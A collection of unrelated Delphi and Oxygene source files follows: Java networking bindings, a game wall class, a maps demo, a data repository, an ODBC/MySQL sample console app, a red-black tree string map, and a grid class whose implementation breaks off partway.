['{24084D58-6E27-4196-882B-8CA40D7DC0D9}']
function init : JURLStreamHandler; cdecl; // ()V A: $1
end;
[JavaSignature('java/net/URLStreamHandler')]
JURLStreamHandler = interface(JObject)
['{96D088BC-01BE-4DA4-9744-9E2C5288E74D}']
end;
TJURLStreamHandler = class(TJavaGenericImport<JURLStreamHandlerClass, JURLStreamHandler>)
end;
// Merged from: .\java.net.URLConnection.pas
JURLConnectionClass = interface(JObjectClass)
['{5954502A-0F96-40EF-8CC5-7D6CA54FE491}']
function getAllowUserInteraction : boolean; cdecl; // ()Z A: $1
function getConnectTimeout : Integer; cdecl; // ()I A: $1
function getContent : JObject; cdecl; overload; // ()Ljava/lang/Object; A: $1
function getContent(classes : TJavaArray<JClass>) : JObject; cdecl; overload;// ([Ljava/lang/Class;)Ljava/lang/Object; A: $1
function getContentEncoding : JString; cdecl; // ()Ljava/lang/String; A: $1
function getContentLength : Integer; cdecl; // ()I A: $1
function getContentLengthLong : Int64; cdecl; // ()J A: $1
function getContentType : JString; cdecl; // ()Ljava/lang/String; A: $1
function getDate : Int64; cdecl; // ()J A: $1
function getDefaultAllowUserInteraction : boolean; cdecl; // ()Z A: $9
function getDefaultRequestProperty(key : JString) : JString; deprecated; cdecl;// (Ljava/lang/String;)Ljava/lang/String; A: $9
function getDefaultUseCaches : boolean; cdecl; // ()Z A: $1
function getDoInput : boolean; cdecl; // ()Z A: $1
function getDoOutput : boolean; cdecl; // ()Z A: $1
function getExpiration : Int64; cdecl; // ()J A: $1
function getFileNameMap : JFileNameMap; cdecl; // ()Ljava/net/FileNameMap; A: $29
function getHeaderField(&name : JString) : JString; cdecl; overload; // (Ljava/lang/String;)Ljava/lang/String; A: $1
function getHeaderField(n : Integer) : JString; cdecl; overload; // (I)Ljava/lang/String; A: $1
function getHeaderFieldDate(&name : JString; &Default : Int64) : Int64; cdecl;// (Ljava/lang/String;J)J A: $1
function getHeaderFieldInt(&name : JString; &Default : Integer) : Integer; cdecl;// (Ljava/lang/String;I)I A: $1
function getHeaderFieldKey(n : Integer) : JString; cdecl; // (I)Ljava/lang/String; A: $1
function getHeaderFieldLong(&name : JString; &Default : Int64) : Int64; cdecl;// (Ljava/lang/String;J)J A: $1
function getHeaderFields : JMap; cdecl; // ()Ljava/util/Map; A: $1
function getIfModifiedSince : Int64; cdecl; // ()J A: $1
function getInputStream : JInputStream; cdecl; // ()Ljava/io/InputStream; A: $1
function getLastModified : Int64; cdecl; // ()J A: $1
function getOutputStream : JOutputStream; cdecl; // ()Ljava/io/OutputStream; A: $1
function getPermission : JPermission; cdecl; // ()Ljava/security/Permission; A: $1
function getReadTimeout : Integer; cdecl; // ()I A: $1
function getRequestProperties : JMap; cdecl; // ()Ljava/util/Map; A: $1
function getRequestProperty(key : JString) : JString; cdecl; // (Ljava/lang/String;)Ljava/lang/String; A: $1
function getURL : JURL; cdecl; // ()Ljava/net/URL; A: $1
function getUseCaches : boolean; cdecl; // ()Z A: $1
function guessContentTypeFromName(fname : JString) : JString; cdecl; // (Ljava/lang/String;)Ljava/lang/String; A: $9
function guessContentTypeFromStream(&is : JInputStream) : JString; cdecl; // (Ljava/io/InputStream;)Ljava/lang/String; A: $9
function toString : JString; cdecl; // ()Ljava/lang/String; A: $1
procedure addRequestProperty(key : JString; value : JString) ; cdecl; // (Ljava/lang/String;Ljava/lang/String;)V A: $1
procedure connect ; cdecl; // ()V A: $401
procedure setAllowUserInteraction(allowuserinteraction : boolean) ; cdecl; // (Z)V A: $1
procedure setConnectTimeout(timeout : Integer) ; cdecl; // (I)V A: $1
procedure setContentHandlerFactory(fac : JContentHandlerFactory) ; cdecl; // (Ljava/net/ContentHandlerFactory;)V A: $29
procedure setDefaultAllowUserInteraction(defaultallowuserinteraction : boolean) ; cdecl;// (Z)V A: $9
procedure setDefaultRequestProperty(key : JString; value : JString) ; deprecated; cdecl;// (Ljava/lang/String;Ljava/lang/String;)V A: $9
procedure setDefaultUseCaches(defaultusecaches : boolean) ; cdecl; // (Z)V A: $1
procedure setDoInput(doinput : boolean) ; cdecl; // (Z)V A: $1
procedure setDoOutput(dooutput : boolean) ; cdecl; // (Z)V A: $1
procedure setFileNameMap(map : JFileNameMap) ; cdecl; // (Ljava/net/FileNameMap;)V A: $9
procedure setIfModifiedSince(ifmodifiedsince : Int64) ; cdecl; // (J)V A: $1
procedure setReadTimeout(timeout : Integer) ; cdecl; // (I)V A: $1
procedure setRequestProperty(key : JString; value : JString) ; cdecl; // (Ljava/lang/String;Ljava/lang/String;)V A: $1
procedure setUseCaches(usecaches : boolean) ; cdecl; // (Z)V A: $1
end;
[JavaSignature('java/net/URLConnection')]
JURLConnection = interface(JObject)
['{F546FFDB-DCBB-4DDC-B620-C3A11CF81024}']
function getAllowUserInteraction : boolean; cdecl; // ()Z A: $1
function getConnectTimeout : Integer; cdecl; // ()I A: $1
function getContent : JObject; cdecl; overload; // ()Ljava/lang/Object; A: $1
function getContent(classes : TJavaArray<JClass>) : JObject; cdecl; overload;// ([Ljava/lang/Class;)Ljava/lang/Object; A: $1
function getContentEncoding : JString; cdecl; // ()Ljava/lang/String; A: $1
function getContentLength : Integer; cdecl; // ()I A: $1
function getContentLengthLong : Int64; cdecl; // ()J A: $1
function getContentType : JString; cdecl; // ()Ljava/lang/String; A: $1
function getDate : Int64; cdecl; // ()J A: $1
function getDefaultUseCaches : boolean; cdecl; // ()Z A: $1
function getDoInput : boolean; cdecl; // ()Z A: $1
function getDoOutput : boolean; cdecl; // ()Z A: $1
function getExpiration : Int64; cdecl; // ()J A: $1
function getHeaderField(&name : JString) : JString; cdecl; overload; // (Ljava/lang/String;)Ljava/lang/String; A: $1
function getHeaderField(n : Integer) : JString; cdecl; overload; // (I)Ljava/lang/String; A: $1
function getHeaderFieldDate(&name : JString; &Default : Int64) : Int64; cdecl;// (Ljava/lang/String;J)J A: $1
function getHeaderFieldInt(&name : JString; &Default : Integer) : Integer; cdecl;// (Ljava/lang/String;I)I A: $1
function getHeaderFieldKey(n : Integer) : JString; cdecl; // (I)Ljava/lang/String; A: $1
function getHeaderFieldLong(&name : JString; &Default : Int64) : Int64; cdecl;// (Ljava/lang/String;J)J A: $1
function getHeaderFields : JMap; cdecl; // ()Ljava/util/Map; A: $1
function getIfModifiedSince : Int64; cdecl; // ()J A: $1
function getInputStream : JInputStream; cdecl; // ()Ljava/io/InputStream; A: $1
function getLastModified : Int64; cdecl; // ()J A: $1
function getOutputStream : JOutputStream; cdecl; // ()Ljava/io/OutputStream; A: $1
function getPermission : JPermission; cdecl; // ()Ljava/security/Permission; A: $1
function getReadTimeout : Integer; cdecl; // ()I A: $1
function getRequestProperties : JMap; cdecl; // ()Ljava/util/Map; A: $1
function getRequestProperty(key : JString) : JString; cdecl; // (Ljava/lang/String;)Ljava/lang/String; A: $1
function getURL : JURL; cdecl; // ()Ljava/net/URL; A: $1
function getUseCaches : boolean; cdecl; // ()Z A: $1
function toString : JString; cdecl; // ()Ljava/lang/String; A: $1
procedure addRequestProperty(key : JString; value : JString) ; cdecl; // (Ljava/lang/String;Ljava/lang/String;)V A: $1
procedure connect ; cdecl; // ()V A: $401
procedure setAllowUserInteraction(allowuserinteraction : boolean) ; cdecl; // (Z)V A: $1
procedure setConnectTimeout(timeout : Integer) ; cdecl; // (I)V A: $1
procedure setDefaultUseCaches(defaultusecaches : boolean) ; cdecl; // (Z)V A: $1
procedure setDoInput(doinput : boolean) ; cdecl; // (Z)V A: $1
procedure setDoOutput(dooutput : boolean) ; cdecl; // (Z)V A: $1
procedure setIfModifiedSince(ifmodifiedsince : Int64) ; cdecl; // (J)V A: $1
procedure setReadTimeout(timeout : Integer) ; cdecl; // (I)V A: $1
procedure setRequestProperty(key : JString; value : JString) ; cdecl; // (Ljava/lang/String;Ljava/lang/String;)V A: $1
procedure setUseCaches(usecaches : boolean) ; cdecl; // (Z)V A: $1
end;
TJURLConnection = class(TJavaGenericImport<JURLConnectionClass, JURLConnection>)
end;
// Merged from: .\java.net.URLStreamHandlerFactory.pas
JURLStreamHandlerFactoryClass = interface(JObjectClass)
['{6564F0BC-EBC6-47E9-8F77-B40AF990F3CF}']
function createURLStreamHandler(JStringparam0 : JString) : JURLStreamHandler; cdecl;// (Ljava/lang/String;)Ljava/net/URLStreamHandler; A: $401
end;
[JavaSignature('java/net/URLStreamHandlerFactory')]
JURLStreamHandlerFactory = interface(JObject)
['{AADC8C2B-AD41-447A-A946-F6D27E751E4A}']
function createURLStreamHandler(JStringparam0 : JString) : JURLStreamHandler; cdecl;// (Ljava/lang/String;)Ljava/net/URLStreamHandler; A: $401
end;
TJURLStreamHandlerFactory = class(TJavaGenericImport<JURLStreamHandlerFactoryClass, JURLStreamHandlerFactory>)
end;
implementation
end.
|
unit Classes.Wall;
interface
uses
Interfaces.Wall,
Vcl.ExtCtrls,
System.Classes,
System.Types,
Vcl.Imaging.pngimage,
Vcl.Controls;
type
TWall = class(TInterfacedObject, IWall)
strict private
var
FPosition: TPoint;
FImage: TImage;
FOwner: TGridPanel;
png: TPngImage;
public
class function New(const AOwner: TGridPanel): IWall;
destructor Destroy; override;
function Position(const Value: TPoint): IWall; overload;
function Position: TPoint; overload;
function Owner(const Value: TGridPanel): IWall; overload;
function Owner: TGridPanel; overload;
function CreateImages: IWall;
end;
implementation
uses
System.SysUtils;
{ TWall }
function TWall.CreateImages: IWall;
var
Panel: TWinControl;
begin
Result := Self;
Panel := TWinControl(FOwner.ControlCollection.Controls[FPosition.X - 1, FPosition.Y - 1]);
FImage := TImage.Create(Panel);
FImage.Parent := Panel;
FImage.Align := alClient;
if Assigned(png) then
FreeAndNil(png);
png := TPngImage.Create;
png.LoadFromResourceName(HInstance, 'wall');
FImage.Picture.Graphic := png;
end;
destructor TWall.Destroy;
begin
FOwner.ControlCollection.RemoveControl(FImage);
FreeAndNil(FImage);
if Assigned(png) then
FreeAndNil(png);
inherited;
end;
class function TWall.New(const AOwner: TGridPanel): IWall;
begin
Result := Self.Create;
Result.Owner(AOwner);
end;
function TWall.Owner: TGridPanel;
begin
Result := FOwner;
end;
function TWall.Owner(const Value: TGridPanel): IWall;
begin
Result := Self;
FOwner := Value;
end;
function TWall.Position(const Value: TPoint): IWall;
begin
Result := Self;
FPosition := Value;
end;
function TWall.Position: TPoint;
begin
Result := FPosition;
end;
end.
|
unit Forms.Main;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, VCL.TMSFNCTypes, VCL.TMSFNCUtils, VCL.TMSFNCGraphics,
VCL.TMSFNCGraphicsTypes, VCL.TMSFNCMapsCommonTypes, VCL.TMSFNCCustomControl, VCL.TMSFNCWebBrowser,
VCL.TMSFNCMaps;
type
TFrmMain = class(TForm)
Map: TTMSFNCMaps;
procedure MapMapInitialized(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FrmMain: TFrmMain;
implementation
{$R *.dfm}
uses IOUtils, Flix.Utils.Maps;
procedure TFrmMain.FormCreate(Sender: TObject);
var
LKeys: TServiceAPIKeys;
begin
LKeys := TServiceAPIKeys.Create( TPath.Combine( TTMSFNCUtils.GetAppPath, 'apikeys.config' ) );
try
Map.APIKey := LKeys.GetKey( msGoogleMaps );
finally
LKeys.Free;
end;
end;
procedure TFrmMain.MapMapInitialized(Sender: TObject);
var
LBounds: TTMSFNCMapsBoundsRec;
LSeattle : TTMSFNCMapsCoordinateRec;
LCircle : TTMSFNCMapsCoordinateRecArray;
i : Integer;
begin
LSeattle := CreateCoordinate( 47.609722, -122.333056 );
LCircle := CreateCircle( LSeattle, 3000 );
for i := Low( LCircle ) to High( LCircle ) do
begin
Map.AddMarker(LCircle[i]);
end;
Map.SetCenterCoordinate(LSeattle);
end;
end.
|
unit URepositorioMarca;
interface
uses
UMarca
, UEntidade
, URepositorioDB
, SqlExpr
;
type
TRepositorioMarca = class (TRepositorioDB<TMarca>)
public
constructor Create;
procedure AtribuiDBParaEntidade(const coMarca: TMarca); override;
procedure AtribuiEntidadeParaDB(const coMarca: TMarca;
const coSQLQuery: TSQLQuery); override;
end;
implementation
{ TRepositorioMarca }
procedure TRepositorioMarca.AtribuiDBParaEntidade(const coMarca: TMarca);
begin
inherited;
with FSQLSelect do
begin
coMarca.NOME := FieldByName(FLD_MARCA_NOME).AsString;
end;
end;
procedure TRepositorioMarca.AtribuiEntidadeParaDB(const coMarca: TMarca;
const coSQLQuery: TSQLQuery);
begin
inherited;
with coSQLQuery do
begin
ParamByName(FLD_MARCA_NOME).AsString := coMarca.NOME;
end;
end;
constructor TRepositorioMarca.Create;
begin
inherited Create(TMARCA, TBL_MARCA, FLD_ENTIDADE_ID, STR_MARCA);
end;
end.
|
namespace ODBCApplication;
//Sample .NET console application
//by Brian Long, 2009
//Console application compiled against .NET assemblies.
//Uses ODBC to talk to MySQL:
// - creates a DB & table
// - runs a SELECT statement
// - drops the table & DB
//Works under Mono where ODBC & MySQL can be accessed (typically Windows)
//If ODBC driver not installed, it's available from http://dev.mysql.com/downloads/connector/odbc/
//The code assumes ODBC driver 5.1 - if you have a different version,
//just update the connection string accordingly
interface
uses
System.Text,
System.Data,
System.Data.Odbc;
type
ConsoleApp = class
private
class method SetupData(sqlConnection: OdbcConnection);
class method TearDownData(sqlConnection: OdbcConnection);
public
class method GetSomeData(): String;
class method Main;
end;
implementation
class method ConsoleApp.Main;
begin
Console.WriteLine(GetSomeData());
Console.WriteLine();
Console.WriteLine('Press Enter to continue...');
Console.ReadLine();
end;
class method ConsoleApp.SetupData(sqlConnection: OdbcConnection);
const
createSchemaSQL = 'CREATE SCHEMA IF NOT EXISTS `SampleDB`';
useSchemaSQL = 'USE `SampleDB`;';
dropTableSQL = 'DROP TABLE IF EXISTS `SampleDB`.`Customers`';
createTableSQL =
'CREATE TABLE `SampleDB`.`Customers` (' +
' `CustID` int(11) NOT NULL auto_increment, ' +
' `Name` varchar(45) NOT NULL, ' +
' `Town` varchar(45) NOT NULL, ' +
' `AccountNo` varchar(10) NOT NULL, ' +
' PRIMARY KEY (`CustID`)' +
') ENGINE=MyISAM';
insertSQLs: Array of String = [
'INSERT INTO Customers (Name, Town, AccountNo) VALUES (''John Smith'', ''Manchester'', ''0001'')',
'INSERT INTO Customers (Name, Town, AccountNo) VALUES (''John Doe'', ''Dorchester'', ''0002'')',
'INSERT INTO Customers (Name, Town, AccountNo) VALUES (''Fred Bloggs'', ''Winchester'', ''0003'')',
'INSERT INTO Customers (Name, Town, AccountNo) VALUES (''Walter P. Jabsco'', ''Ilchester'', ''0004'')',
'INSERT INTO Customers (Name, Town, AccountNo) VALUES (''Jane Smith'', ''Silchester'', ''0005'')',
'INSERT INTO Customers (Name, Town, AccountNo) VALUES (''Raymond Luxury-Yacht'', ''Colchester'', ''0006'')'];
var
sqlCommand: OdbcCommand := new OdbcCommand();
begin
sqlCommand.Connection := sqlConnection;
sqlCommand.CommandText := createSchemaSQL;
sqlCommand.ExecuteNonQuery();
sqlCommand.CommandText := useSchemaSQL;
sqlCommand.ExecuteNonQuery();
sqlCommand.CommandText := dropTableSQL;
sqlCommand.ExecuteNonQuery();
sqlCommand.CommandText := createTableSQL;
sqlCommand.ExecuteNonQuery();
for each insertSQL: String in insertSQLs do
begin
sqlCommand.CommandText := insertSQL;
sqlCommand.ExecuteNonQuery();
end;
end;
class method ConsoleApp.TearDownData(sqlConnection: OdbcConnection);
const
dropSchemaSQL = 'DROP SCHEMA IF EXISTS `SampleDB`';
dropTableSQL = 'DROP TABLE IF EXISTS `SampleDB`.`Customers`';
var
sqlCommand: OdbcCommand := new OdbcCommand();
begin
sqlCommand.Connection := sqlConnection;
sqlCommand.CommandText := dropSchemaSQL;
sqlCommand.ExecuteNonQuery();
sqlCommand.CommandText := dropTableSQL;
sqlCommand.ExecuteNonQuery();
end;
class method ConsoleApp.GetSomeData(): string;
const
rootPassword = '';
//ODBC connection string
connectionString = 'Driver={MySQL ODBC 5.1 Driver};Server=localhost;' +
'User=root;Password=' + rootPassword + ';Option=3;';
selectSQL = 'SELECT * FROM Customers WHERE Town LIKE ''%che%'';';
widths: Array of Integer = [3, 22, 12, 6];
var
results: StringBuilder := new StringBuilder();
begin
using sqlConnection: OdbcConnection := new OdbcConnection(connectionString) do
begin
sqlConnection.Open();
SetupData(sqlConnection);
var dataAdapter: OdbcDataAdapter := new OdbcDataAdapter(selectSQL, sqlConnection);
var dataTable: DataTable := new DataTable('Results');
dataAdapter.Fill(dataTable);
for each row: DataRow in dataTable.Rows do
begin
results.Append('|');
for I: Integer := 0 to dataTable.Columns.Count - 1 do
begin
var Width := 20;
if I <= High(widths) then
Width := widths[I];
results.AppendFormat('{0,' + Width.ToString() + '}|', row.Item[I]);
end;
results.Append(Environment.NewLine);
end;
TearDownData(sqlConnection);
end;
Result := results.ToString()
end;
end. |
{$I CetusOptions.inc}
unit ctsStrMap;
interface
uses
ctsTypesDef,
ctsUtils,
ctsBaseInterfaces,
ctsBaseClasses,
ctsStrMapInterface;
const
cUnitName = 'ctsStrMap';
type
// red black tree
TctsRBColor = (Black, Red); // Black = False, Red = True;
TctsChildType = Boolean; // Left = False, Right = True;
const
Left = True;
Right = False;
type
PTreeNode = ^TTreeNode;
TTreeNode = packed record
Pair: PPair;
Color: TctsRBColor;
Parent: PTreeNode;
case Boolean of
False: (Left, Right: PTreeNode;);
True : (Child: array[TctsChildType] of PTreeNode);
end;
TctsNotifierTree = class(TObject)
protected
FKeyCompare: TctsKeyCompareEvent;
FPairDispose: TctsDisposePairEvent;
procedure Notify(const aPair: PPair; ANotifyAction: TctsNotifyAction);
public
procedure SetKeyCompare(const AValue: TctsKeyCompareEvent);
procedure SetPairDispose(const AValue: TctsDisposePairEvent);
end;
type
TctsCustomTree = class(TctsContainer)
protected
FCount: LongInt;
FHead: PTreeNode;
FNodePool: IctsMemoryPool;
FNotifier: TctsNotifierTree;
procedure DisposeNode(ANode: Pointer); virtual;
procedure DoClear; virtual;
procedure DoDelete(const aKey: TctsKeyType); virtual;
procedure DoInsert(const aPair: PPair); virtual;
procedure Error(AMsg: PResStringRec; AMethodName: string);
function NewNode: Pointer; virtual;
public
constructor Create; override;
destructor Destroy; override;
end;
TctsStrMap = class(TctsCustomTree)
protected
FPairPool: IctsMemoryPool;
function CreatePair: PPair;
procedure DestroyPair(const aPair: PPair);
procedure DisposeNode(ANode: Pointer); override;
procedure Error(AMsg: PResStringRec; AMethodName: string);
public
constructor Create; override;
destructor Destroy; override;
function Root: PTreeNode;
end;
implementation
uses
SysUtils,
ctsConsts,
ctsMemoryPools;
function Promote(const Me: PTreeNode): PTreeNode;
var
Dad: PTreeNode;
T, BrotherType: TctsChildType;
begin
Dad := Me.Parent;
T := Dad.Left = Me;
BrotherType := not T;
Dad.Child[T] := Me.Child[BrotherType];
if Dad.Child[T] <> nil then
Dad.Child[T].Parent := Dad;
Me.Parent := Dad.Parent;
Me.Parent.Child[Me.Parent.Left = Dad] := Me;
Me.Child[BrotherType] := Dad;
Dad.Parent := Me;
Result := Me;
end;
procedure RebalanceDelete(Me, Dad, Root: PTreeNode);
var
Brother, FarNephew, NearNephew: PTreeNode;
T: TctsChildType;
begin
T := Dad.Left = Me;
Brother := Dad.Child[not T];
while Me <> Root do
begin
if Me <> nil then
begin
Dad := Me.Parent;
T := Dad.Left = Me;
Brother := Dad.Child[not T];
end;
if Brother = nil then
begin
Me := Dad;
Continue;
end;
if Brother.Color = Red then
begin
Dad.Color := Red;
Brother.Color := Black;
Promote(Brother);
Continue;
end;
FarNephew := Brother.Child[not T];
if (FarNephew <> nil) and (FarNephew.Color = Red) then
begin
FarNephew.Color := Black;
Brother.Color := Dad.Color;
Dad.Color := Black;
Promote(Brother);
Exit;
end
else
begin
NearNephew := Brother.Child[T];
if (NearNephew <> nil) and (NearNephew.Color = Red) then
begin
NearNephew.Color := Dad.Color;
Dad.Color := Black;
Promote(Promote(NearNephew));
Exit;
end
else
begin
if Dad.Color = Red then
begin
Dad.Color := Black;
Brother.Color := Red;
Exit;
end
else
begin
Brother.Color := Red;
Me := Dad;
end;
end;
end;
end; // end while;
end;
procedure RebalanceInsert(Me, Dad, Root: PTreeNode);
var
Grandad, Uncle: PTreeNode;
DadType: TctsChildType;
begin
Me.Color := Red;
while (Me <> Root) and (Dad.Color = Red) do
begin
if Dad = Root then
begin
Dad.Color := Black;
Exit;
end;
Grandad := Dad.Parent;
Grandad.Color := Red;
DadType := Grandad.Left = Dad;
Uncle := Grandad.Child[not DadType];
if (Uncle <> nil) and (Uncle.Color = Red) then
begin
Dad.Color := Black;
Uncle.Color := Black;
Me := Grandad;
Dad := Me.Parent;
end
else
begin
if (Dad.Left = Me) = DadType then
begin
Dad.Color := Black;
Promote(Dad);
Exit;
end
else
begin
Me.Color := Black;
Promote(Promote(Me));
Exit;
end; // end else
end; // end else
end;
end;
function SearchNode(const aKey: TctsKeyType; var aNode: PTreeNode; var aType: TctsChildType;
aComp: TctsKeyCompareEvent): Boolean;
var
I: integer;
begin
Result := False;
if aNode = nil then
Exit;
I := aComp(aKey, aNode.Pair.Key);
while I <> 0 do
begin
aType := I < 0;
if (aNode.Child[aType] = nil) then
Exit;
aNode := aNode.Child[aType];
I := aComp(aKey, aNode.Pair.Key);
end;
Result := True;
end;
// ===== TctsNotifierTree =====
procedure TctsNotifierTree.Notify(const aPair: PPair; ANotifyAction: TctsNotifyAction);
begin
if Assigned(FPairDispose) and (ANotifyAction = naDeleting) then
FPairDispose(aPair);
end;
procedure TctsNotifierTree.SetKeyCompare(const AValue: TctsKeyCompareEvent);
begin
FKeyCompare := AValue;
end;
procedure TctsNotifierTree.SetPairDispose(const AValue: TctsDisposePairEvent);
begin
FPairDispose := AValue;
end;
// ===== TctsCustomTree =====
constructor TctsCustomTree.Create;
begin
inherited Create;
FNodePool := TctsMiniMemoryPool.Create(SizeOf(TTreeNode));
FNotifier := TctsNotifierTree.Create;
FHead := NewNode;
end;
destructor TctsCustomTree.Destroy;
begin
FNodePool := nil;
FNotifier.Free;
inherited Destroy;
end;
procedure TctsCustomTree.DisposeNode(ANode: Pointer);
begin
FNodePool.Delete(ANode);
end;
procedure TctsCustomTree.DoClear;
procedure FreeChild(aNode: PTreeNode);
var
P: PTreeNode;
begin
while aNode <> nil do
begin
FreeChild(aNode.Right);
P := aNode.Left;
DisposeNode(aNode);
aNode := P;
end;
end;
begin
if FCount = 0 then
Exit;
FreeChild(FHead.Left);
FCount := 0;
FHead.Left := nil;
end;
procedure TctsCustomTree.DoDelete(const aKey: TctsKeyType);
var
P, Me, Dad, Child: PTreeNode;
T: TctsChildType;
procedure DeleteNode;
begin
Dad.Child[T] := Child;
if Child <> nil then
Child.Parent := Dad;
DisposeNode(Me);
Dec(FCount);
end;
procedure ExchangeData(var Data1, Data2);
var
T: LongInt;
begin
T := LongInt(Data1);
LongInt(Data1) := LongInt(Data2);
LongInt(Data2) := T;
end;
begin
Me := FHead.Left;
T := Left;
if not SearchNode(aKey, Me, T, FNotifier.FKeyCompare) then
Error(@STreeItemMissing, SReadyDelete);
if (Me.Left <> nil) and (Me.Right <> nil) then
begin
P := Me.Left;
while (P.Right <> nil) do
P := P.Right;
ExchangeData(P.Pair, Me.Pair);
Me := P;
end;
Dad := Me.Parent;
T := Dad.Left = Me;
Child := Me.Child[Me.Left <> nil];
if (Me.Color = Red) or (Me = FHead.Left) then
begin
DeleteNode;
Exit;
end;
if (Child <> nil) and (Child.Color = Red) then
begin
Child.Color := Black;
DeleteNode;
Exit;
end;
DeleteNode;
if Child <> FHead.Left then
RebalanceDelete(Child, Dad, FHead.Left);
end;
procedure TctsCustomTree.DoInsert(const aPair: PPair);
var
Me, Child: PTreeNode;
T: TctsChildType;
begin
Me := FHead.Left;
T := Left;
if SearchNode(aPair.Key, Me, T, FNotifier.FKeyCompare) then
Error(@STreeDupItem, SInsert);
Child := FNodePool.NewClear;
Child.Pair := aPair;
if Me = nil then
Me := FHead;
if Me.Child[T] <> nil then
Error(@STreeHasChild, SInsert);
Me.Child[T] := Child;
Child.Parent := Me;
Inc(FCount);
FNotifier.Notify(aPair, naAdded);
RebalanceInsert(Child, Me, FHead.Left);
end;
procedure TctsCustomTree.Error(AMsg: PResStringRec; AMethodName: string);
begin
if Name = '' then
Name := SDefaultTreeName;
raise EctsTreeError.CreateResFmt(AMsg, [cUnitName, ClassName, AMethodName, Name]);
end;
function TctsCustomTree.NewNode: Pointer;
begin
Result := FNodePool.NewClear;
end;
// ===== TctsStrMap =====
constructor TctsStrMap.Create;
begin
inherited;
FPairPool := TctsMiniMemoryPool.Create(SizeOf(TPair));
if not Assigned(FNotifier.FKeyCompare) then
FNotifier.FKeyCompare := CompareStr;
end;
destructor TctsStrMap.Destroy;
begin
DoClear;
FPairPool := nil;
inherited;
end;
function TctsStrMap.CreatePair: PPair;
begin
Result := FPairPool.NewClear;
end;
procedure TctsStrMap.DestroyPair(const aPair: PPair);
begin
FPairPool.Delete(aPair);
end;
procedure TctsStrMap.DisposeNode(ANode: Pointer);
var
Tree: PTreeNode absolute ANode;
Pair: PPair;
begin
Pair := Tree.Pair;
FNotifier.Notify(Pair, naDeleting);
DestroyPair(Pair);
inherited;
end;
procedure TctsStrMap.Error(AMsg: PResStringRec; AMethodName: string);
begin
if Name = '' then
Name := SDefaultStrMapName;
raise EctsTreeError.CreateResFmt(AMsg, [cUnitName, ClassName, AMethodName, Name]);
end;
function TctsStrMap.Root: PTreeNode;
begin
Result := FHead.Left;
end;
end.
|
unit uGrid;
//Mattias Landscaper...
interface
uses
System.Classes,
System.SysUtils;
type
TGridBasic = class
private
function GetSafeItems(const x, y: integer): TObject;
protected
FStorage : PPointerList;
FTotalSize : integer;
FCountX: integer;
FCountY: integer;
FOwnItems: boolean;
function GetItems(const x, y: integer): TObject;
procedure SetItems(const x, y: integer; const Value: TObject);
procedure SetCountX(const Value: integer);
procedure SetCountY(const Value: integer);
procedure FreeStorage;
procedure CreateStorage;
procedure AssertInRange(const x,y : integer);
procedure SetOwnItems(const Value: boolean); virtual;
public
constructor Create(const CountX, CountY : integer; OwnItems : boolean=false);
destructor Destroy; override;
function MapXYToID(const x,y : integer) : integer;
procedure MapIDToXY(const id : integer; var x,y : integer);
procedure FreeItems; virtual;
procedure Delete(const x,y : integer);
procedure Clear; virtual;
function ItemsSet : integer;
function InRange(const x,y : integer) : boolean;
procedure CopyFrom(Grid : TGridBasic); virtual;
property Items[const x,y : integer] : TObject read GetItems write SetItems; default;
property CountX : integer read FCountX write SetCountX;
property CountY : integer read FCountY write SetCountY;
property TotalSize : integer read FTotalSize;
// If OwnItems is true then items will be freed when grid is destroyed or
// when storage is freed
property OwnItems : boolean read FOwnItems write SetOwnItems;
end;
TGrid = class(TGridBasic)
public
function IndexOf(const Item : TObject) : integer;
function LocationOf(const Item : TObject; var x,y : integer) : boolean;
property SafeItems[const x,y : integer] : TObject read GetSafeItems;
property Storage: PPointerList read FStorage;
end;
PSingleList = ^TSingleList;
TSingleList = array[0..MaxListSize - 1] of single;
TInterpolationMethod = (imLinear, imCos);
TSingleGrid = class(TGridBasic)
private
function GetSingleItems(const x, y: integer): single;
procedure SetSingleItems(const x, y: integer; const Value: single);
function GetStorage: PSingleList;
function GetSingleItemsSafe(const x, y: integer): single;
function GetInterpolatedItems(const x, y: single; InterpolationMethod : TInterpolationMethod): single;
function GetInterpolatedCosItems(const x, y: single): single;
function GetInterpolatedLinearItems(const x, y: single): single;
protected
procedure SetOwnItems(const Value: boolean); override;
public
function InterpolateCos(a, b, x: single): single;
function InterpolateLinear(a, b, x: single): single;
function InterpolationCubic(v0, v1, v2, v3, x: single): single;
procedure FreeItems; override;
procedure Clear; override;
procedure AntiAlias(BleedValue : single);
procedure AntiAliasSweep;
procedure AntiAliasSweepRight;
procedure AntiAliasSweepDown;
property SafeItems[const x,y : integer] : single read GetSingleItemsSafe;
property Items[const x,y : integer] : single read GetSingleItems write SetSingleItems; default;
property InterpolatedLinear[const x,y : single] : single read GetInterpolatedLinearItems;
property InterpolatedCos[const x,y : single] : single read GetInterpolatedCosItems;
property Storage: PSingleList read GetStorage;
end;
//===========================================================================
implementation
//===========================================================================
{ TGridBasic }
procedure TGridBasic.AssertInRange(const x, y: integer);
begin
Assert(x>=0,'X must be above or equal to zero!');
Assert(y>=0,'Y must be above or equal to zero!');
Assert(x<CountX,'X must be below CountX!');
Assert(y<CountY,'Y must be below CountY!');
end;
constructor TGridBasic.Create(const CountX, CountY: integer; OwnItems : boolean=false);
begin
FreeStorage;
FCountX := CountX;
FCountY := CountY;
CreateStorage;
self.OwnItems := OwnItems;
end;
procedure TGridBasic.CreateStorage;
var
i : integer;
begin
FTotalSize := FCountX * FCountY;
Assert(FStorage=nil,'You must free storage before new storage can be created!');
GetMem(FStorage, TotalSize * SizeOf(pointer));
for i := 0 to TotalSize-1 do
FStorage^[i] := nil;
end;
procedure TGridBasic.FreeStorage;
begin
if Assigned(FStorage) then
begin
if FOwnItems then
FreeItems;
FreeMem(FStorage);
end;
FStorage := nil;
end;
function TGridBasic.GetItems(const x, y: integer): TObject;
begin
AssertInRange(x,y);
Result := FStorage^[MapXYToID(x,y)];
end;
procedure TGridBasic.SetCountX(const Value: integer);
begin
FreeStorage;
FCountX := Value;
CreateStorage;
end;
procedure TGridBasic.SetCountY(const Value: integer);
begin
FreeStorage;
FCountY := Value;
CreateStorage;
end;
procedure TGridBasic.SetItems(const x, y: integer; const Value: TObject);
begin
AssertInRange(x,y);
FStorage^[MapXYToID(x,y)] := Value;
end;
function TGridBasic.MapXYToID(const x, y: integer): integer;
begin
result := x + y*CountX;
end;
